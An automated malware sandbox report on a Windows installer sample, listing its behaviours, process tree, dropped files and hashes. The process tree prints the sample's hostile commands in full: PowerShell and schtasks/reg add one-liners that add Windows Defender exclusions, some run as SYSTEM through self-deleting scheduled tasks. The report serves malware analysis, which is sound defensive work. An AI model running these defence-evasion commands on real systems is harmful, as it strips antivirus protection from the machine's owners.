Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 07:29

General

  • Target
    install.2.0.13.exe
  • Size 30.5MB
  • Sample261024-jbp7kagw21
  • SHA256 eb7ca9cc7e0aaae1d0604818118723c94bc6073e36d53a79cc0debd71133b1ef
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4084
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5452
    • C:\Users\Public\bIBhVb\Qnpd3q.exe
      "C:\Users\Public\bIBhVb\Qnpd3q.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3304
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bIBhVb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5188
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bIBhVb\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3316
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1664
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5876
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:1476
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4228
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4168
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2880
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5928
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:928
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:4700
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:2624
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:1644
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5872
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1700
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2112
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:6140
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:5520
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:3060
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:1608
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bIBhVb" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5064
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bIBhVb" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:4116
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:6020
                            • C:\Users\Public\bIBhVb\Qnpd3q.exe
                              "C:\Users\Public\bIBhVb\Qnpd3q.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:1988
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4516
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4856
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:704
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:1060
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:4384
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:4796

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 10a90bc4b787acd9aba6186c8239765ac1a084379a44361a3515370c4ee595e9
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 b8f63aaece14286ecca3fb877ef59020e0ce94072ac6bc6c95af7ae034fc7554
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 92c7f7d0d4fa8ac3eb68887c19fd3cabfff19d9e7c410242bb1d10397b3802ec
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 2864a160b37483e7c591272a2c68da8cc7f988532cc5fef177f5f66bca64f3f4
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_iofw45gj.qzt.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iofw45gj.qzt.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        Qnpd3q.exe

                                        • Path C:\Users\Public\bIBhVb\Qnpd3q.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\bIBhVb\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 76aca3a248f3030ff9b3d0532ee21d54be33b04c45f4d6bfe626459408f2dfb5
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\bIBhVb\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 73807d48a52841479f8c445ebff7cb25df22d984cf2ca6d32a4cf228fcbaaf0b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\bIBhVb\msadox.tb
                                        • Size 8KB
                                        • SHA256 3356ba550cf906d1b7991eeb3388c960f82f2897977b86489d911bdf7f6b3532
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/1988-583-0x000002154E640000-0x000002154EF17000-memory.dmp

                                        memory/1988-594-0x000002154E640000-0x000002154EF17000-memory.dmp

                                        memory/1988-592-0x000002154E640000-0x000002154EF17000-memory.dmp

                                        memory/1988-596-0x00007FF8C6EF0000-0x00007FF8C6EF2000-memory.dmp

                                        memory/1988-595-0x000002154E640000-0x000002154EF17000-memory.dmp

                                        memory/1988-580-0x00007FF8A63C0000-0x00007FF8A68DE000-memory.dmp

                                        memory/1988-593-0x000002154E640000-0x000002154EF17000-memory.dmp

                                        memory/1988-587-0x00007FF8C6F00000-0x00007FF8C6F02000-memory.dmp

                                        memory/1988-588-0x000002154E640000-0x000002154EF17000-memory.dmp

                                        memory/3304-600-0x000001F5AEF10000-0x000001F5AEF32000-memory.dmp

                                        memory/3304-606-0x000001F5AEF60000-0x000001F5AEF7E000-memory.dmp

                                        memory/3304-607-0x000001F5AF2C0000-0x000001F5AF372000-memory.dmp

                                        memory/3304-610-0x000001F5AEF90000-0x000001F5AEF9A000-memory.dmp

                                        memory/3304-612-0x000001F596020000-0x000001F5969C4000-memory.dmp

                                        memory/4084-527-0x00007FF8BB290000-0x00007FF8BB2A2000-memory.dmp

                                        memory/4084-526-0x0000000002610000-0x000000000261E000-memory.dmp

                                        memory/4084-1-0x0000000002610000-0x000000000261E000-memory.dmp

                                        memory/4084-0-0x0000000002610000-0x000000000261E000-memory.dmp

                                        memory/4084-2-0x0000000002620000-0x000000000262C000-memory.dmp

                                        memory/4084-504-0x00007FF8BB290000-0x00007FF8BB2A2000-memory.dmp

                                        memory/4120-563-0x0000025ADA930000-0x0000025ADA9BA000-memory.dmp

                                        memory/4120-549-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-569-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-562-0x0000025ADA930000-0x0000025ADA9BA000-memory.dmp

                                        memory/4120-567-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-561-0x0000025ADA850000-0x0000025ADA89E000-memory.dmp

                                        memory/4120-565-0x0000025ADA930000-0x0000025ADA9BA000-memory.dmp

                                        memory/4120-564-0x0000025ADA930000-0x0000025ADA9BA000-memory.dmp

                                        memory/4120-553-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-534-0x00007FF8A63C0000-0x00007FF8A68DE000-memory.dmp

                                        memory/4120-548-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-547-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-546-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-542-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-541-0x00007FF8C6F00000-0x00007FF8C6F02000-memory.dmp

                                        memory/4120-559-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-539-0x0000025AD9C10000-0x0000025ADA4E7000-memory.dmp

                                        memory/4120-533-0x00007FF8C6EF0000-0x00007FF8C6EF2000-memory.dmp